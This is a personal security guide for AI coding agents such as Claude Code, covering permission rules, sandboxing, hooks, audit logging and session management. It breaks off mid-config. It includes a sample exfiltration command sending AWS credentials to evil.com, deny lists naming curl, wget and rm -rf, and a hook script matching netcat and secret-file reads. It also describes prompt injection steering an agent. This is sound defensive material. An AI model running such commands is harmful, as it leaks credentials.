A comprehensive, defence-in-depth guide for using AI coding agents safely and effectively — protecting secrets, enforcing sandboxing, reducing approval fatigue, optimising workflows, and aligning with NIST, ISO, and OWASP frameworks.
This started as a personal study project. I use Claude Code daily and wanted to be more conscious and deliberate about security, so I dug into threat models, sandboxing, hooks, and audit strategies and wrote everything down as a reference for myself. Claude Code is used throughout as the primary example because that's my workflow, but the principles and patterns here — secret protection, permission controls, policy enforcement, monitoring — apply to any AI agent that operates in your terminal or codebase. If you use Copilot, Cursor, Aider, or any other agentic tool, most of this translates directly.
I'm sharing this for anyone who's interested in using AI agents and is also concerned about doing it securely. Whether you're hardening a personal setup or thinking about organisational rollout, I hope this serves as a useful starting point.
This project is licenced under the BSD 2-Clause Licence. In short: do whatever you want with it. Copy it, modify it, redistribute it, put your name on your copies, use it commercially — the only requirement is that you keep the copyright notice and disclaimer in redistributions. See LICENCE for the full text.
- Threat Model
- Defence in Depth Architecture
- Layer 1 — Secret Protection
- Layer 2 — Sandboxing & Isolation
- Layer 3 — Permission Controls
- Layer 4 — Hooks & Policy Enforcement
- Layer 5 — Audit & Monitoring
- Layer 6 — Governance & Code Quality Gates
- Reducing Approval Fatigue Safely
- Context, Memory & Session Management
- Usage Tips & Performance
- Security Frameworks Reference
- Quick-Start Secure Configuration
- References
Before applying controls, understand what you're defending against:
| Threat | Description | Impact |
|---|---|---|
| Secret exfiltration | Claude reads .env, ~/.aws/credentials, SSH keys and includes them in context or outputs |
Credential compromise |
| Prompt injection | Malicious content in codebases, docs, or dependencies manipulates Claude's behaviour (OWASP LLM01) | Arbitrary code execution |
| Excessive agency | Claude runs destructive commands (rm -rf, git push --force, curl to attacker domains) (OWASP LLM06) |
Data loss, lateral movement |
| Data leakage | Proprietary code or PII sent to external services or logged (OWASP LLM02) | IP theft, privacy violation |
| Supply chain | Compromised MCP servers, plugins, or dependencies (OWASP LLM03) | Backdoor introduction |
| Unbounded consumption | Runaway agent loops consuming tokens, CPU, or API calls (OWASP LLM10) | Cost overrun, DoS |
Design principle: Assume any single layer can fail. Stack independent controls so a breach at one layer is caught by the next.
┌─────────────────────────────────────────────────────────┐
│ Layer 6: Governance — policies, training, code review │
├─────────────────────────────────────────────────────────┤
│ Layer 5: Audit — logging, OpenTelemetry, transcripts │
├─────────────────────────────────────────────────────────┤
│ Layer 4: Hooks — pre/post tool validation scripts │
├─────────────────────────────────────────────────────────┤
│ Layer 3: Permissions — allow/deny rules, modes │
├─────────────────────────────────────────────────────────┤
│ Layer 2: Sandbox — filesystem + network isolation │
├─────────────────────────────────────────────────────────┤
│ Layer 1: Secrets — deny rules, env vars, MCP proxying │
└─────────────────────────────────────────────────────────┘
Each layer operates independently. If a prompt injection bypasses Layer 3 permissions, Layer 2 sandbox still blocks filesystem/network access at the OS level.
In .claude/settings.json:
{
"permissions": {
"deny": [
"Read(./.env)",
"Read(./.env.*)",
"Read(./secrets/**)",
"Read(~/.aws/**)",
"Read(~/.ssh/**)",
"Read(~/.gnupg/**)",
"Read(~/.kube/config)",
"Edit(./.env)",
"Edit(./.env.*)",
"Edit(./secrets/**)"
]
}
}This is the first line of defence. Even if Claude tries to read these files, the permission system blocks it before the file contents enter context.
NIST SP 800-53 AC-3: Enforce access restrictions on information resources.
Claude can use environment variables in bash commands without them entering the conversation context:
# Shell — set before launching Claude
export DATABASE_URL="postgresql://user:pass@localhost/db"
export API_KEY="sk-xxx"
claudeOr in .claude/settings.json:
{
"env": {
"DATABASE_URL": "${DB_CONNECTION_STRING}",
"GITHUB_TOKEN": "${GITHUB_TOKEN}"
}
}Claude can reference $DATABASE_URL in bash commands but never sees the raw value.
Instead of Claude directly handling credentials, use MCP servers that hold credentials internally and expose only tool interfaces:
# Claude accesses the database through MCP tools, never sees the connection string
claude mcp add --transport stdio postgres \
--env DATABASE_URL="postgresql://user:pass@db:5432/mydb" \
-- npx @modelcontextprotocol/server-postgres
# Claude accesses GitHub through MCP tools, never sees the token
claude mcp add --transport stdio github \
--env GITHUB_TOKEN="ghp_xxx" \
-- npx @modelcontextprotocol/server-githubWhy this works: The MCP process receives the secret via its own --env flag. Claude interacts with structured tool calls (mcp__postgres__query), never the raw credential. The secret lives in the MCP server process memory, not in Claude's context window.
ISO 27002 A.8.3: Restrict information access to authorised functions.
Claude Code stores OAuth tokens securely:
- macOS: System Keychain
- Linux: Encrypted credentials file
- Windows: Credential Manager
Prevent secrets from ever entering version control:
# .gitignore
.env
.env.*
!.env.example
secrets/
config/credentials*
*.pem
*.keyAdd a pre-commit hook or use tools like git-secrets/gitleaks to scan staged changes.
Claude Code provides OS-level sandboxing using macOS Seatbelt or Linux bubblewrap:
{
"sandbox": {
"enabled": true,
"autoAllowBashIfSandboxed": true,
"filesystem": {
"allowWrite": ["//tmp/build"],
"denyWrite": ["//etc", "//usr/bin", "//usr/local/bin"],
"denyRead": ["~/.aws/credentials", "~/.ssh"]
},
"network": {
"allowedDomains": [
"github.com",
"*.npmjs.org",
"api.anthropic.com",
"registry.yarnpkg.com"
]
}
}
}Why this matters: Even if a prompt injection tricks Claude into running curl https://evil.com/exfil?data=$(cat ~/.aws/credentials), the sandbox blocks:
- The network request (domain not allowlisted)
- The file read (
~/.aws/credentialsin denyRead)
Both enforced at the OS kernel level, not just application logic.
Prerequisites:
- macOS: Built-in (Seatbelt) — no setup needed
- Linux/WSL2: Install
bubblewrap+socat:# Ubuntu/Debian sudo apt-get install bubblewrap socat # Fedora sudo dnf install bubblewrap socat
NIST SP 800-53 SC-7: Boundary protection — monitor and control communications at external/internal boundaries.
For maximum isolation, run Claude Code inside a container:
.devcontainer/
├── devcontainer.json # Container config + extensions
├── Dockerfile # Node.js 20 + dev tools
└── init-firewall.sh # Network allowlist rules
Anthropic provides a reference devcontainer with:
- Custom firewall restricting outbound to whitelisted domains only
- Default-deny network policy
- Isolated filesystem
Inside the container, you can safely use --dangerously-skip-permissions because the container itself is the security boundary.
# Inside devcontainer
claude --dangerously-skip-permissionsISO 27002 A.8.25-A.8.31: Secure development lifecycle — separate development/test/production environments.
For parallel tasks without risking your main working tree:
claude --worktree feature-nameCreates an isolated copy of the repo with a separate permission context.
Claude Code on the web runs in Anthropic-managed VMs with:
- Network limited to approved domains
- Credential proxy (scoped tokens, never raw secrets)
- Git push restricted to current branch only
- Automatic cleanup after session ends
| Mode | Behavior | Use Case |
|---|---|---|
default |
Prompts for each new tool use | Normal development |
acceptEdits |
Auto-approves file edits, prompts for bash | Trusted codebases |
plan |
Read-only — no modifications allowed | Safe code review, exploration |
dontAsk |
Auto-denies unless pre-approved in allowlist | Strict lockdown |
bypassPermissions |
Skips ALL prompts (DANGEROUS) | Only inside containers/VMs |
Set via:
claude --permission-mode acceptEditsOr in settings:
{ "defaultMode": "acceptEdits" }Rules are evaluated in this order (first match wins):
- Deny (highest priority) — always blocks
- Ask — prompts for approval
- Allow (lowest priority) — auto-approves
{
"permissions": {
"allow": [
"Read",
"Bash(npm run *)",
"Bash(git status)",
"Bash(git log *)",
"Bash(git diff *)",
"Bash(git commit *)",
"Edit(/src/**/*.ts)",
"WebFetch(domain:github.com)"
],
"deny": [
"Bash(curl *)",
"Bash(wget *)",
"Bash(rm -rf *)",
"Bash(sudo *)",
"Bash(chmod 777 *)",
"Bash(git push --force*)",
"Read(./.env*)",
"Read(~/.aws/**)",
"mcp__untrusted_server__*"
]
}
}Path prefixes:
//path— absolute from filesystem root~/path— from home directory/path— relative to project root./pathorpath— relative to current directory
Wildcard matching (Bash tool only):
Bash(npm run *)matchesnpm run test,npm run buildBash(git * main)matchesgit checkout main,git merge main- Word-boundary aware:
Bash(ls *)matchesls -labut NOTlsof
From highest to lowest priority:
| Scope | Location | Who Controls |
|---|---|---|
| Managed (enterprise) | System-level CLAUDE.md | IT/Security team |
| CLI args | --allowedTools, --disallowedTools |
Developer (session) |
| Local settings | .claude/settings.local.json |
Developer (not committed) |
| Project settings | .claude/settings.json |
Team (committed) |
| User settings | ~/.claude/settings.json |
Developer (global) |
NIST SP 800-53 AC-6: Employ the principle of least privilege — authorise only the access necessary to accomplish assigned tasks.
Prevent developers from using --dangerously-skip-permissions:
{
"disableBypassPermissionsMode": "disable"
}Set this in managed settings so it cannot be overridden.
Hooks execute shell commands before or after Claude uses a tool, enabling custom security policies.
| Event | Fires | Security Use |
|---|---|---|
PreToolUse |
Before any tool executes | Block dangerous commands, validate inputs |
PostToolUse |
After tool succeeds | Audit, validate outputs, scan for secrets |
ConfigChange |
When config files change | Detect tampering |
SessionStart |
Session initialisation | Inject security context |
.claude/hooks/security-validator.sh:
#!/bin/bash
INPUT=$(cat)
COMMAND=$(echo "$INPUT" | jq -r '.tool_input.command // empty')
# Block exfiltration attempts
if echo "$COMMAND" | grep -qE "(curl|wget|nc|ncat)\s"; then
echo "Blocked: Network tool not allowed in bash. Use WebFetch instead." >&2
exit 2
fi
# Block destructive operations
if echo "$COMMAND" | grep -qE "rm -rf /|sudo|chmod 777|mkfs|dd if="; then
echo "Blocked: Destructive command." >&2
exit 2
fi
# Block secret reading via bash (defence in depth with Layer 1)
if echo "$COMMAND" | grep -qE "cat.*(\.env|credentials|\.pem|\.key|id_rsa)"; then
echo "Blocked: Attempt to read secret file via bash." >&2
exit 2
fi
exit 0Register in .claude/settings.json:
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "$CLAUDE_PROJECT_DIR/.claude/hooks/security-validator.sh"
}
]
}
]
}
}| Exit Code | Effect |
|---|---|
0 |
Allow — stdout added to Claude's context |
2 |
Block — action prevented, stderr shown to Claude |
| Other | Allow — stderr logged in verbose mode |
Hooks can return structured decisions:
{
"hookSpecificOutput": {
"hookEventName": "PreToolUse",
"permissionDecision": "deny",
"permissionDecisionReason": "This command requires explicit approval from security team."
}
}Send all tool use events to a central logging service:
{
"hooks": {
"PostToolUse": [
{
"hooks": [
{
"type": "http",
"url": "https://audit.company.com/claude-events",
"headers": {
"Authorization": "Bearer $AUDIT_TOKEN"
},
"allowedEnvVars": ["AUDIT_TOKEN"]
}
]
}
]
}
}NIST SP 800-53 AU-2/AU-3: Audit event logging with sufficient detail for after-the-fact investigation.
Every Claude Code session is stored locally:
~/.claude/sessions/<session-id>/
├── transcript.json # Full conversation + tool calls
├── snapshots/ # File snapshots before edits
└── metadata.json # Session metadata
These can be reviewed via /resume, exported for compliance, or archived.
For teams/enterprise, send metrics to your observability stack:
export OTEL_EXPORTER_OTLP_ENDPOINT=https://your-collector.com/v1/traces
export OTEL_EXPORTER_OTLP_HEADERS="Authorization: Bearer token"
claudeAvailable metrics: session count, lines edited, commits created, PRs opened, token usage, cost, tool decision events.
{
"hooks": {
"PostToolUse": [
{
"matcher": "Bash",
"hooks": [
{
"type": "command",
"command": "jq -c '{ts: now | todate, cmd: .tool_input.command, exit: .tool_result.exit_code}' >> ~/.claude/bash-audit.log"
}
]
}
]
}
}Claude snapshots files before every edit. You can:
- Press
Esctwice to rewind to the last checkpoint - Restore individual files
- Review diffs of what changed
NIST SP 800-53 AU-6: Review and analyze audit records for indications of inappropriate or unusual activity.
Add a security section to your project's CLAUDE.md (see Section 10.4 for the full CLAUDE.md template):
# Security Requirements
**Forbidden Actions**
- Never read or modify `.env`, `.env.*`, or `secrets/` files
- Never use `curl`, `wget`, or `nc` in bash — use WebFetch for HTTP
- Never run `sudo`, `chmod 777`, or `rm -rf /`
- Never commit files containing passwords, tokens, or API keys
- Never force-push or delete remote branches
**Required Practices**
- All external API access must go through MCP servers
- All database access must use the postgres MCP server
- Validate all user inputs in generated code (OWASP Top 10)
- Use parameterised queries — never string concatenation for SQL.claude/rules/api-security.md:
---
paths:
- "src/api/**/*.ts"
- "src/auth/**/*.ts"
---
# API Security Rules
- Validate all inputs with zod or equivalent
- Use HTTPS only for external APIs
- Never log passwords or API keys
- Apply rate limiting to all endpoints
- Use parameterised queries for all database accessRequire before merge:
- SAST scanning (Semgrep, CodeQL) on AI-generated code
- Human code review — AI is the author, human is the approver (NIST AC-5: Separation of Duties)
- Automated tests — unit, integration, and property-based tests
- Secret scanning — gitleaks, git-secrets, or Trivy in CI
Train developers on:
- Prompt injection risks (malicious comments/docs that manipulate Claude)
- Overreliance on AI-generated code (OWASP LLM09: Misinformation)
- How to review AI diffs effectively
- When to use
planmode for safe exploration before allowing changes
ISO 27002 A.6.3: Information security awareness, education, and training.
Approval fatigue leads to rubber-stamping — which is worse than no approvals at all. Here's how to reduce prompts while maintaining security.
{
"permissions": {
"allow": [
"Read",
"Bash(npm run test)",
"Bash(npm run lint)",
"Bash(npm run build)",
"Bash(npx tsc --noEmit)",
"Bash(git status)",
"Bash(git log *)",
"Bash(git diff *)",
"Bash(git add *)",
"Bash(git commit *)"
],
"deny": [
"Bash(curl *)",
"Bash(wget *)",
"Bash(sudo *)",
"Bash(git push *)",
"Read(./.env*)",
"Read(~/.aws/**)"
]
}
}Principle: Allow read-only and build commands. Block network tools and destructive operations. Everything else prompts.
The strongest approach for unattended work:
{
"sandbox": {
"enabled": true,
"autoAllowBashIfSandboxed": true,
"filesystem": {
"denyWrite": ["//etc", "//usr/bin"],
"denyRead": ["~/.aws", "~/.ssh"]
},
"network": {
"allowedDomains": ["github.com", "*.npmjs.org"]
}
}
}Bash commands auto-execute inside sandbox boundaries without prompts. The sandbox enforces OS-level restrictions regardless of what commands run.
{ "defaultMode": "acceptEdits" }File edits auto-approve. Bash commands still prompt. Good for trusted codebases where the risk is command execution, not file changes.
# One session with broader permissions
claude --allowedTools "Read" "Edit" "Bash(npm run *)" "Bash(git *)"
# Another session in plan mode for review
claude --permission-mode plan# DANGEROUS — no safety net
claude --dangerously-skip-permissions # on main machineUnless you're inside a container/VM, this removes all protection layers. A single prompt injection becomes arbitrary code execution on your machine.
Losing context mid-task is a security and productivity risk — Claude may hallucinate project state, repeat mistakes, or forget constraints. This section covers how to keep Claude grounded in reality.
Resume the last session:
claude --continue # or -c — resume most recent conversation in this directoryPick a specific session:
claude --resume # or -r — interactive session picker
claude --resume auth-refactor # resume by nameName sessions for easy retrieval:
/rename auth-refactor # name the current session
Session picker shortcuts (/resume in interactive mode):
| Key | Action |
|---|---|
↑/↓ |
Navigate sessions |
→/← |
Expand/collapse grouped sessions |
P |
Preview session content |
R |
Rename session |
/ |
Search/filter |
A |
Toggle current directory vs. all projects |
B |
Filter to current git branch |
Fork a session to try a different approach without losing the original:
claude --continue --fork-sessionTip: Name sessions before ending them. "Session from 3 days ago" is useless —
auth-refactor-v2is findable.
Understanding what persists across each operation prevents surprises:
| Content | /compact |
/clear |
Session Resume | Context Compression |
|---|---|---|---|---|
| CLAUDE.md | Re-read from disk | Re-read from disk | Re-read from disk | Preserved |
Auto memory (~/.claude/projects/) |
On disk | On disk | On disk | On disk |
.claude/rules/ |
Re-read | Re-read | Re-read | Preserved |
| Conversation history | Summarised | Gone | Full restore | Auto-summarised |
| File edits | Kept | Kept | Kept | Kept |
| Session permissions | Kept | Kept | Not restored | Kept |
The critical insight: Anything you told Claude only in conversation will be lost on compaction. If it matters, put it in a file.
Context compression happens automatically as the window fills up. Here's how to ensure nothing critical is lost.
Rule 1: Put persistent instructions in CLAUDE.md, not conversation.
# CLAUDE.md — always loaded, always survives compression
**Project State**
- We are migrating from Express to Fastify (in progress)
- Auth module is complete, API routes are 60% done
- Do NOT modify src/legacy/ — it's being deprecated but still in production
**Build & Test**
- `pnpm test` — run all tests
- `pnpm test:integration` — requires DATABASE_URL set
- `pnpm build` — outputs to dist/If you give Claude a verbal instruction like "remember we're using Fastify not Express" and context compresses, that instruction vanishes. Write it in CLAUDE.md instead.
Rule 2: Use /compact with focus instructions before the system does it for you.
/compact focus on:
- The migration from Express to Fastify
- Which files have been modified
- Failing tests and their error messages
- Current branch and uncommitted changes
Proactive compaction with focus instructions preserves what matters. Automatic compression uses generic summarisation.
Rule 3: Add compaction instructions to CLAUDE.md.
# Compaction Instructions
When compacting, always preserve:
- Full list of modified files and what changed in each
- All failing test names and error messages
- Current git branch and uncommitted changes
- Any API contracts or interface definitions discussed
- Which tasks are done vs. remainingThese instructions survive compression (since they're in CLAUDE.md) and guide the summariser.
Rule 4: /clear between unrelated tasks.
Don't let context from Task A pollute Task B. After finishing a task:
/clear
This gives the next task a clean context window instead of fighting stale assumptions.
Rule 5: Use subagents for exploration.
Instead of Claude reading 50 files (filling context with code you don't need):
Explore the auth module and tell me how token refresh works.
Don't modify anything.
Subagents explore in isolated context and return only a summary.
CLAUDE.md is always loaded at session start, survives compression, and is re-read from disk after /compact. Use it to anchor Claude in your actual project state.
Structure for a real project:
# Project: MyApp
**Current State**
- Framework: Fastify 5.x (migrated from Express in Feb 2026)
- Database: PostgreSQL 16 via Drizzle ORM
- Auth: JWT + refresh tokens, implemented in src/auth/
- Frontend: React 19 + Vite, in packages/web/
**Architecture Decisions**
- Monorepo managed with pnpm workspaces
- API versioning via URL prefix (/v1/, /v2/)
- All env config loaded through src/config/env.ts — never read .env directly
**Build & Test Commands**
- `pnpm test` — vitest, all packages
- `pnpm test:e2e` — playwright, requires `pnpm dev` running
- `pnpm build` — turbo build, outputs to dist/
- `pnpm db:migrate` — run pending Drizzle migrations
- `pnpm lint` — biome check
**Active Work**
- [ ] Migrate /v1/users endpoints to Fastify (src/api/v1/users/)
- [x] Auth module complete
- [ ] Add rate limiting middleware
**Important Constraints**
- src/legacy/ is deprecated — do NOT modify, only read for reference
- All new endpoints must have integration tests
- Never import from @internal/shared directly — use the public APIWhat makes this effective:
- Current state prevents Claude from assuming outdated structure
- Active work with checkboxes gives Claude task awareness that survives sessions
- Constraints prevent common mistakes ("don't touch legacy")
- Exact commands eliminate guessing (
pnpmnotnpm,vitestnotjest)
Anti-patterns to avoid:
- Don't list every file — Claude can read the filesystem
- Don't explain standard language features — Claude knows TypeScript
- Don't write essays — keep each section concise and scannable
- Don't let it grow past ~200 lines — split into
.claude/rules/files
Claude Code maintains a memory directory at ~/.claude/projects/<project>/memory/ that persists across sessions.
~/.claude/projects/<project>/memory/
├── MEMORY.md # Index file — first 200 lines loaded every session
├── debugging.md # Topic file — loaded on demand
├── api-conventions.md # Topic file — loaded on demand
└── patterns.md # Topic file — loaded on demand
How it works:
MEMORY.md(first 200 lines) loads at session start — keep it concise- Topic files are read on demand when relevant
- Claude decides what to remember — you can also ask explicitly: "Remember that we use bun, not npm"
- Files are plain markdown — edit or delete anytime
Manage memory:
/memory— browse memory files, toggle auto-memory, open in editor
When to use auto memory vs. CLAUDE.md:
| Use CLAUDE.md for | Use auto memory for |
|---|---|
| Project structure and commands | Debugging discoveries |
| Architecture decisions | Personal workflow preferences |
| Team-wide constraints | Cross-session patterns |
| Active task tracking | Solutions to recurring problems |
| Build/test instructions | "Always use X instead of Y" |
CLAUDE.md is for the project (shared, checked in). Auto memory is for the developer (local, personal).
For projects with many rules, split them into topic files:
.claude/rules/
├── security.md # Always loaded
├── testing.md # Always loaded
├── code-style.md # Always loaded
└── api/
└── validation.md # Loaded only when Claude reads src/api/ files
Path-scoped rules only load when relevant (saves context):
---
paths:
- "src/api/**/*.ts"
---
# API Rules
- All endpoints validated with zod schemas
- Return RFC 7807 problem details on error
- Rate limit: 100 req/min per userThe biggest risk isn't Claude forgetting — it's Claude remembering wrong. Claude may hallucinate file paths, function signatures, or project structure based on patterns from training data instead of your actual codebase.
Prevention strategies:
-
Explore first, code second. Start sessions with
planmode or ask Claude to read relevant files before making changes. -
Reference actual files, not descriptions.
# Bad — Claude may hallucinate the structure "Update the user validation in the auth module" # Good — Claude reads the actual file "Read src/auth/validate.ts, then update the email validation" -
Use
@fileimports in CLAUDE.md to point at real files:See @src/config/env.ts for environment variable schema. See @package.json for available scripts.
-
Provide verification, not just instructions.
# Bad — no way to verify correctness "Add a rate limiter" # Good — self-verifying task "Add a rate limiter to /api/v1/users. It should return 429 after 100 requests per minute. Write a test that verifies this. Run the tests." -
After 2 failed corrections, start over. Context polluted with failed approaches causes compounding errors.
/clearand write a better initial prompt. -
Use
/contextto check context usage. Stale assumptions accumulate in the window — check regularly. -
Check
/mcpfor context cost. MCP servers add tool definitions that consume space before you start working. Disable servers you're not actively using.
For tasks spanning multiple sessions:
Session 1: Explore and plan
├── Use plan mode
├── Read relevant files
├── Ask Claude to write the plan to CLAUDE.md under "## Active Work"
└── /rename "auth-migration-plan"
Session 2: Implement phase 1
├── claude --resume auth-migration-plan (or start fresh — CLAUDE.md has the plan)
├── Implement, test
├── Update CLAUDE.md checkboxes: [x] done, [ ] remaining
├── /compact focus on completed work and remaining tasks
└── /rename "auth-migration-impl"
Session 3: Implement phase 2
├── claude -c (continue) or fresh start
├── CLAUDE.md has current state — Claude knows what's done
├── Continue implementation
└── Commit when done
Key insight: Update CLAUDE.md during the session, not after. If context compresses mid-task, the file on disk reflects reality.
Beyond security, these tips help you get better results faster and reduce costs.
Use Plan Mode for complex tasks. Skip it for one-line fixes.
claude --permission-mode plan # start in plan modeOr press Shift+Tab during a session to toggle modes.
The workflow:
- Enter Plan Mode (read-only — Claude can't modify anything)
- Ask: "Create a detailed plan for adding OAuth2 support"
- Press
Ctrl+Gto open the plan in your text editor — edit inline, add constraints - Switch to Normal Mode (
Shift+Tab) - "Implement the plan"
Extended thinking lets Claude reason internally before responding. Worth it for complex tasks, wasteful for simple ones.
Toggle during session: Option+T (macOS) / Alt+T
Adjust effort level: /model then use arrow keys
| Level | Use For |
|---|---|
| Low | Simple edits, renames, boilerplate |
| Medium (default) | Typical coding |
| High | Architecture, deep debugging, complex refactors |
Trigger high effort ad-hoc: Include "ultrathink" in your prompt.
/model # switch during session, arrow keys to adjust effort
| Model | Best For | Cost |
|---|---|---|
| sonnet | Daily coding (default) | Low |
| opus | Complex reasoning, architecture, deep debugging | Higher |
| haiku | Quick questions, subagent tasks | Lowest |
| sonnet[1m] | Long sessions with large codebases (1M context) | Higher beyond 200K |
Rule of thumb: Start with Sonnet. Switch to Opus when you need deeper reasoning. Use Haiku for subagents.
Beyond the built-in subagents used for context isolation (see Section 10.3), you can create custom ones in .claude/agents/code-reviewer.md:
---
name: code-reviewer
description: Expert code review
tools: Read, Grep, Glob
model: sonnet
---
Review code changes for quality, security, and best practices.
Run git diff to see changes, then review each modified file.Invoke with: "Use the code-reviewer to check my changes"
Use -p for automation, CI/CD, and scripting:
# One-off query
claude -p "Explain what this project does"
# With structured output
claude -p "List all API endpoints" --output-format json
# Enforce JSON schema
claude -p "Extract function names" \
--output-format json \
--json-schema '{"type":"object","properties":{"functions":{"type":"array","items":{"type":"string"}}}}'
# Pipe data in
cat error.log | claude -p "Find the root cause"
# CI/CD with tool allowlist
claude -p "Run tests and fix failures" \
--allowedTools "Bash(npm run *),Read,Edit"Create reusable workflows as skills.
Example — commit helper (~/.claude/skills/smart-commit/SKILL.md):
---
name: smart-commit
description: Create a descriptive commit from staged changes
disable-model-invocation: true
---
Analyze staged changes with `git diff --cached`.
Write a commit message:
- Subject: imperative verb, under 50 chars
- Body: explain why, not how
Create the commit.Invoke with /smart-commit.
Skills with arguments (.claude/skills/migrate/SKILL.md):
---
name: migrate
description: Migrate a component between frameworks
---
Migrate $0 from $1 to $2. Preserve behaviour and tests.Invoke: /migrate SearchBar React Vue
Beyond security proxying, MCP servers give Claude access to external tools:
# GitHub — issues, PRs, code search
claude mcp add --transport http github https://api.githubcopilot.com/mcp/
# Sentry — error monitoring
claude mcp add --transport http sentry https://mcp.sentry.dev/mcp
# PostgreSQL — query databases
claude mcp add --transport stdio db \
--env DATABASE_URL="postgresql://readonly:pass@host/db" \
-- npx -y @bytebase/dbhub --dsn "$DATABASE_URL"
# Playwright — browser automation
claude mcp add --transport stdio playwright \
-- npx -y @playwright/mcp@latestManage servers:
claude mcp list # list all
/mcp # manage in-session, see context cost per serverTip: Disable MCP servers you're not actively using — each one adds tool definitions that consume context.
Navigation & Control:
| Shortcut | Action |
|---|---|
Ctrl+C |
Cancel generation |
Ctrl+G |
Open prompt/plan in your text editor |
Ctrl+O |
Toggle verbose mode (see thinking) |
Ctrl+B |
Background current task |
Ctrl+F (x2) |
Kill background agents |
Esc Esc |
Rewind / undo |
Shift+Tab |
Cycle permission modes |
Option+P / Alt+P |
Switch models |
Option+T / Alt+T |
Toggle extended thinking |
Input:
| Shortcut | Action |
|---|---|
Option+Enter (macOS) |
New line in prompt |
Shift+Enter (iTerm2/Warp) |
New line in prompt |
\ + Enter |
New line (universal) |
Ctrl+K |
Delete to end of line |
Ctrl+U |
Delete entire line |
Quick prefixes:
| Prefix | Purpose |
|---|---|
/ |
Slash commands and skills |
! |
Run bash command directly |
@ |
File/folder mention autocomplete |
/btw |
Side question (doesn't add to history) |
/cost # see token usage and cost
/context # see what's consuming context spaceStrategies ranked by impact:
/clearbetween unrelated tasks and/compactproactively (see Section 10.3)- Use Sonnet by default — switch to Opus only when reasoning depth matters
- Delegate verbose operations to subagents — test output stays in their context, not yours
- Disable unused MCP servers —
/mcpto check per-server context cost - Move specialised instructions to skills — they load on-demand instead of every session
- Lower effort level for simple tasks —
/model→ arrow keys - Install code intelligence plugins for typed languages — precise "go to definition" instead of grep searches
Typical costs: ~$6/developer/day average, <$12/day at 90th percentile.
Commits:
"Create a descriptive commit for my staged changes"
Claude follows conventional commits if detected, writes subject + body, explains why not how.
Pull Requests:
"Create a PR for this feature"
Claude uses gh pr create with a summary of all commits on the branch.
Parallel work with worktrees:
claude --worktree feature-auth # isolated copy of repoEach worktree has its own files, branch, and Claude session — prevents conflicts between parallel tasks.
Add images: drag-and-drop into the terminal, paste with Ctrl+V/Cmd+V, or reference a path.
UI development workflow:
[paste screenshot of design mockup]
"Implement this design. When done, take a screenshot and compare.
List differences and fix them."
Error debugging:
[paste screenshot of error]
"What's causing this? Fix it."
PDFs:
"Read pages 5-10 of @docs/spec.pdf and summarise the API requirements"
See also Section 10.7 for anti-hallucination strategies.
| Pitfall | Symptom | Fix |
|---|---|---|
| Bloated CLAUDE.md | Claude ignores important rules | Keep under 200 lines; move details to .claude/rules/ or skills |
| Trust gap | Plausible code that doesn't work | Always provide tests or verification commands |
| Infinite exploration | Claude reads 50+ files | Scope narrowly or delegate to subagent |
| MCP bloat | Context used up before you start | /mcp to disable servers you're not using |
Four core functions:
| Function | Application to Claude Code |
|---|---|
| GOVERN | Define acceptable-use policies for AI coding tools; assign oversight roles |
| MAP | Document what data flows to Claude, what it can access, stakeholder impacts |
| MEASURE | Track metrics: vulnerabilities introduced, secret exposures, false suggestions |
| MANAGE | Deploy controls (this guide), define incident response for AI security events |
| Control | Title | Application |
|---|---|---|
| AC-2 | Account Management | Manage identities/tokens for AI tools and MCP servers |
| AC-3 | Access Enforcement | Permission deny/allow rules for filesystem, network, tools |
| AC-5 | Separation of Duties | AI generates code, human reviews and approves |
| AC-6 | Least Privilege | Grant only minimum permissions needed per task |
| AU-2 | Event Logging | Log all tool invocations via hooks and OpenTelemetry |
| AU-3 | Audit Record Content | Capture who, what, when, result for each AI action |
| AU-6 | Audit Review | Regularly review session transcripts and audit logs |
| CM-7 | Least Functionality | Disable unused features; restrict to approved tools |
| SC-7 | Boundary Protection | Sandbox network/filesystem boundaries |
| SI-3 | Malicious Code Protection | SAST/DAST scanning on AI-generated code |
| SI-10 | Input Validation | Review AI outputs before integration |
| SR-3 | Supply Chain Controls | Assess MCP servers, model providers, plugins |
The first certifiable AI management system standard:
- Clause 6 (Planning): Conduct AI-specific risk assessments for coding tools — what can go wrong, what data is exposed
- Clause 8 (Operation): 38 controls covering data governance, model operations, third-party oversight
- Clause 9 (Performance Evaluation): Monitor AI tool usage metrics, conduct internal audits
- Clause 10 (Improvement): Continual improvement based on incidents and near-misses
| Control | Application |
|---|---|
| A.5.1 | Policies explicitly addressing AI tool usage and data handling |
| A.8.2 | Privileged access management for tools that execute code |
| A.8.3 | Restrict information the AI can access — exclude secrets, PII |
| A.8.9 | Secure configuration management for AI tools |
| A.8.25-A.8.31 | Secure development lifecycle for AI-generated code |
| A.5.19-A.5.22 | Supplier relationship security for AI tool vendors |
| A.6.3 | Developer training on AI tool risks |
| # | Risk | Mitigation in Claude Code |
|---|---|---|
| LLM01 | Prompt Injection | Sandbox (OS-level), permission deny rules, hooks validation |
| LLM02 | Sensitive Info Disclosure | Secret deny rules, MCP proxying, env vars |
| LLM03 | Supply Chain | Vet MCP servers, managed settings, vendor assessment |
| LLM04 | Data/Model Poisoning | Human code review, SAST scanning |
| LLM05 | Improper Output Handling | Code review, automated tests, SAST |
| LLM06 | Excessive Agency | Least-privilege permissions, sandbox, hooks |
| LLM07 | System Prompt Leakage | Managed CLAUDE.md, don't put secrets in prompts |
| LLM09 | Misinformation | Human review, tests, plan mode for exploration |
| LLM10 | Unbounded Consumption | Session monitoring, timeout configuration |
Based on CSA Agentic Trust Framework:
- Never trust, always verify — every tool invocation requires authorisation
- Agent identity — each AI session gets scoped credentials, not shared admin tokens
- Fine-grained access — context-aware decisions (time, data sensitivity, task scope)
- Micro-segmentation — restrict AI to specific repos, services, network segments
- Continuous validation — re-authorise at each action, not once per session
- Assume breach — design controls assuming the AI or its channel could be compromised
.claude/settings.json:
{
"permissions": {
"allow": [
"Read",
"Bash(npm run *)",
"Bash(git status)",
"Bash(git log *)",
"Bash(git diff *)"
],
"deny": [
"Read(./.env*)",
"Read(~/.aws/**)",
"Read(~/.ssh/**)",
"Bash(curl *)",
"Bash(wget *)",
"Bash(sudo *)"
]
},
"defaultMode": "acceptEdits"
}.claude/settings.json (committed to repo):
{
"permissions": {
"allow": [
"Read",
"Bash(npm run *)",
"Bash(npx tsc *)",
"Bash(git status)",
"Bash(git log *)",
"Bash(git diff *)",
"Bash(git add *)",
"Bash(git commit *)"
],
"deny": [
"Read(./.env*)",
